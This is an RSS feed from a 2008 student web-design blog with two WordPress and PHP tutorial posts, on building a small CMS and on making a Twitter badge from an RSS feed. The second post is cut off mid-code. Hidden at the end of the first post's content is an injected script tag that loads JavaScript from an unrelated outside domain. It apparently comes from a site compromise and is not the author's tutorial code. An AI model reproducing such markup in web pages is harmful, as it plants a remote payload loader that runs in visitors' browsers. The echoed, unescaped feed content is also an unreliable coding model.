<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Upside Down City &#187; Wordpress</title>
	<atom:link href="http://www.upsidedowncity.net/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.upsidedowncity.net</link>
	<description>journal of a design student</description>
	<lastBuildDate>Mon, 09 Mar 2009 02:17:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>4 things I learned making Wordpress into a CMS</title>
		<link>http://www.upsidedowncity.net/4-things-i-learned-making-wordpress-into-a-cms/</link>
		<comments>http://www.upsidedowncity.net/4-things-i-learned-making-wordpress-into-a-cms/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 22:45:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[content management system]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=397</guid>
		<description><![CDATA[I recently had the awesome experience of making Wordpress into a small website for a client and it taught me a lot of things both for coding the theme and making the clients life easier. I&#8217;ll go over what I think are the five biggest things I learned. 
Widgetized Sidebars (Dynamic Sidebars)
This was the single [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had the awesome experience of making Wordpress into a small website for a client and it taught me a lot of things both for coding the theme and making the clients life easier. I&#8217;ll go over what I think are the five biggest things I learned. </p>
<h2>Widgetized Sidebars (Dynamic Sidebars)</h2>
<p>This was the single biggest help to me. The site design called for a links area at the bottom to link to other groups and departments and organizations related to this one. It also called for contact information at the bottom.</p>
<p>The solution is to use widgetized &#8220;sidebars&#8221; and then tweak the css to to turn your sidebar into a footer. To add a sidebar insert this code into your functions.php file in your theme.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
 <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'register_sidebar'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
 register_sidebar<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/php&gt;
&nbsp;
You can repeat this code for as many sidebars as you need. Just make the &quot;1&quot; into a different number.
&lt;span id=&quot;more-397&quot;&gt;&lt;/span&gt;
Now insert this code where you want your  sidebar to appear.
&nbsp;
&lt;pre lang=&quot;php&quot;&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'dynamic_sidebar'</span><span style="color: #009900;">&#41;</span>
<span style="color: #339933;">||</span> <span style="color: #339933;">!</span>dynamic_sidebar<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This will make your dynamic sidebar appear. For me i just fixed the widths of the widgets and floated them left with this code.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#footer</span> .widget<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">290px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>By setting the width of the widgets and floating them to the left of my footer I made an editable content area the didn&#8217;t interfere with the post or page structure using widgets and dynamic sidebars.</p>
<h2>Custom Loops</h2>
<p>For the site i was making there wasn&#8217;t going to be a blog but rather a news section and an events section so i needed to split the posts be category and query them individually.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
 <span style="color: #000088;">$news</span><span style="color: #339933;">=</span> <span style="color: #0000ff;">'category_name=news&amp;orderby=date&amp;order=DEC&amp;showposts=3'</span><span style="color: #339933;">;</span>
 query_posts<span style="color: #009900;">&#40;</span><span style="color: #000088;">$news</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// run the query</span>
 <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This snippet created a new query called news ($news) grabs 3 posts from the news category and orders them descending by date. You then set up  <a href="http://codex.wordpress.org/The_Loop">The Loop</a> normally below this code. My completed loop looked like this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>have_posts<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>have_posts<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> the_post<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
	<span style="color: #000000; font-weight: bold;">&lt;?php</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$news</span><span style="color: #339933;">%</span><span style="color:#800080;">2</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li class='news_even'&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
    		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li class='news_odd'&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #000000; font-weight: bold;">?&gt;</span>
			&lt;h3 class=&quot;smallindent&quot;&gt;&lt;a href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_permalink<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/a&gt;&lt;/h3&gt;
			&lt;p class=&quot;posted smallindent&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_time<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'m-d-y'</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span> &lt;/p&gt;
			&lt;div class=&quot;smallindent&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_excerpt<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/div&gt;
		&lt;/li&gt;
		<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$news</span><span style="color: #339933;">++</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endwhile</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">else</span> <span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>	
	&lt;/ul&gt;
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h2>Drop Down Menus</h2>
<p>The clients wanted the website to have a drop down normally i would oppose it but they had quite a bit of content they wanted to put on the site. After looking around for several hours and testing various methods for dropdown menu. I found <a href="http://sperling.com/examples/menuh/">this</a>, it turned out to be the holy grail I was looking for and cross browser to boot. and it worked out of the box with the markup generated by <a href="http://codex.wordpress.org/wp_list_pages">wp_list_pages</a> function.</p>
<h2>Simplify the Admin Panel</h2>
<p>After the first meeting and training session I wanted a way to hide various parts of the admin panel that were going unused. The theme was stripping Wordpress back to the core. No tags, no need to manage categories, or the media library. The solution was <a href="http://mahalkita.nanogeex.com/wplite/">wplite</a>. This nifty plugin lets you disable panels in the admin screen. It also lets you limit the post metadata fields (i.e. excepts, post tags, page order, templates, slugs ect.) it turned out to be the magic bullet I was looking for the make managing the site simple and easy. It can even strip the dashboard so the default page is writing a new post.</p>
<h2>The next challenge</h2>
<p>the next large project I have is to rebuilding the <a href="http://asda.uoregon.edu">ASDA</a> website with wordpress. With all the bells and whistles and more. The current proposal is.</p>
<ul>
<li>Multi-author blog</li>
<li>Post by email for the discussion mailing list.</li>
<li>Possibly hosting an ezine</li>
<li>membership directory for the group</li>
<li>links feed</li>
<li>member portfolios</li>
</ul>
<p>I&#8217;ll be publishing more on the development of the site once the group who is designing it throws more at me to code and when we get more ideas.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/4-things-i-learned-making-wordpress-into-a-cms/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Building my own Twitter badge with RSS</title>
		<link>http://www.upsidedowncity.net/building-my-own-twitter-badge-with-rss/</link>
		<comments>http://www.upsidedowncity.net/building-my-own-twitter-badge-with-rss/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 18:00:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web design]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=406</guid>
		<description><![CDATA[This week Nettuts published a screencast on how to use PHP to parse through RSS feeds and display data from them. At the same time I also noticed that this fix to make a W3C valid twitter badge, had stopped working for an unknown reason.
So I figured it would not be terribly difficult to hack [...]]]></description>
			<content:encoded><![CDATA[<p>This week <a href="http://nettuts.com/">Nettuts</a> published a <a href="http://nettuts.com/videos/screencasts/how-to-read-an-rss-feed-with-php-screencast/">screencast</a> on how to use PHP to parse through RSS feeds and display data from them. At the same time I also noticed that <a href="http://stackoverflow.com/questions/149844/how-do-you-write-valid-xhtml-10-strict-code-when-you-are-using-javascript-to-fi">this</a> fix to make a W3C valid twitter badge, had stopped working for an unknown reason.</p>
<p>So I figured it would not be terribly difficult to hack the NETTUTs tutorial to make my own Twitter badge with PHP by reading the RSS feed that Twitter provides.<br />
<span id="more-406"></span></p>
<h2>The Function</h2>
<p>Here is the code for the function I wrote. It uses Curl instead of file_get_contents. After a little research file_get_contents requires allow_url_fopen = ON in the php.ini file, Which as <a href="http://kb.mediatemple.net/questions/793/Why+is+allow_url_fopen+disabled+on+the+(gs)+Grid-Service%3F">this</a> and <a href="http://blog.sacklun.ch/?p=13">this</a> will tell you is a security risk></p>
<p>Switching from file_get_contents to Curl wasn&#8217;t hard after a simple Google search turned up <a href="http://ditio.net/2008/06/19/using-php-curl-to-read-rss-feed-xml/">this</a> post and it worked like a charm.</p>
<p>So here is the function I wrote by mashing up these two tutorials and a few extra if statements.</p>
<blockquote>
<h3>Update</h3>
<p>My friend Aaron Parecki commented here about how I could improve this script with a few lines of RegEx code to simplify searching for twitter usernames (@) and links (http://). Its whole lot less code and a whole lot easier. You can read his addition to this <a href="http://neverusethisfont.com/blog/2008/10/automatically-linking-twitter-usernames/">here</a>.</p>
</blockquote>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> DisplayTwitterFeed<span style="color: #009900;">&#40;</span><span style="color: #000088;">$feed_url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$num</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$feed_url</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$x</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXmlElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='twitter'&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$x</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$entry</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$num</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$i</span><span style="color: #339933;">++;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">//get the content and cut out the first word which is always @whatever</span>
		<span style="color: #000088;">$tweet</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$entry</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$tweet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tweet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
     	<span style="color: #000088;">$tweet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span> <span style="color: #990000;">array_slice</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tweet</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">140</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$tweet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tweet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tweet</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span>	
&nbsp;
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;a href='http://twitter.com/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;http://&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;a href='&quot;</span><span style="color: #339933;">.</span> <span style="color: #000088;">$words</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/ul&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Starting from the top. We define a function and pass it two variables, our Twitter RSS URL which you can find here.</p>
<div id="attachment_410" class="wp-caption aligncenter" style="width: 332px"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/picture-1.png" alt="Get your twitter RSS feed here." title="twitter_rss" width="322" height="204" class="size-medium wp-image-410" /><p class="wp-caption-text">Get your twitter RSS feed here.</p></div>
<p>The second variable will tell the function how many tweets to display.</p>
<p>After defining the function I dropped in the Curl code from <a href="http://ditio.net/2008/06/19/using-php-curl-to-read-rss-feed-xml/">here</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$feed_url</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>From what I have read this starts the curl session and fetches the data from the RSS feed and writes it to the $data variable. Next comes a bit of code from the NETTUTs tutorial.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000088;">$x</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXmlElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>From my research SimpleXmlElement turns XML data into easy to use arrays in PHP. So now we have a variable $x that is an array that contains the data we passed to it from our RSS feed that we can use as a normal array.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='twitter'&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$x</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$entry</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$num</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$i</span><span style="color: #339933;">++;</span></pre></div></div>

<p>This snippet will make a second variable that will control how many tweets we display using and if statement and the break command. This also starts the foreach segment that will look through our array and pick out our tweets.</p>
<h2>Looking at our feed</h2>
<p>It took me a little while to figure out exactly how to move through the RSS feed and get out the data we need. If you look at the source code for the RSS feed it looks like this.</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;title<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>graphfixpunk: i cant believe how many people are willing to pay for help on in my basic HTML/CSS class<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/title<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;description<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>graphfixpunk: i cant believe how many people are willing to pay for help on in my basic HTML/CSS class<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/description<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;pubDate<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Wed, 29 Oct 2008 01:17:33 +0000<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/pubDate<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;guid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>http://twitter.com/graphfixpunk/statuses/979843077<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/guid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;link<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>http://twitter.com/graphfixpunk/statuses/979843077<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/link<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/item<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<p>if you remember the foreach statement about we started with $x and then moved to channel $x->channel and then went into item $x->channel->item and then we executed everything in the foreach statement for every item in the channel.</p>
<h2>Back to the code</h2>
<p>So what this code does is it fetches the content of the tweet.</p>

<div class="wp_syntax"><div class="code"><pre class="pre" style="font-family:monospace;">$tweet = $entry-&gt;title;
&nbsp;
$tweet = explode(' ', $tweet);
&nbsp;
$tweet = implode(' ', array_slice($tweet, 1, 140));</pre></div></div>

<p>Then $tweet is exploded where every word in the string will become its own word in an array. Then implode will compress that array back into a string starting from 1 (skipping 0 which is always @username)</p>
<p>So What that did was get the content of out tweet and cut out the first word.</p>
<h2>So what about links?</h2>
<p>Up until now everything was fairly easy we could just echo $tweet and stop there but then we wouldn&#8217;t have any links which the default twitter badge shows. After a lot of searching on Google and the PHP manual I found <a href="http://us3.php.net/substr">substr</a> which lets you use parts of strings without altering the string.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$tweet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tweet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tweet</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$words</span><span style="color: #009900;">&#41;</span>	
&nbsp;
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;a href='http://twitter.com/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$words</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;http://&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
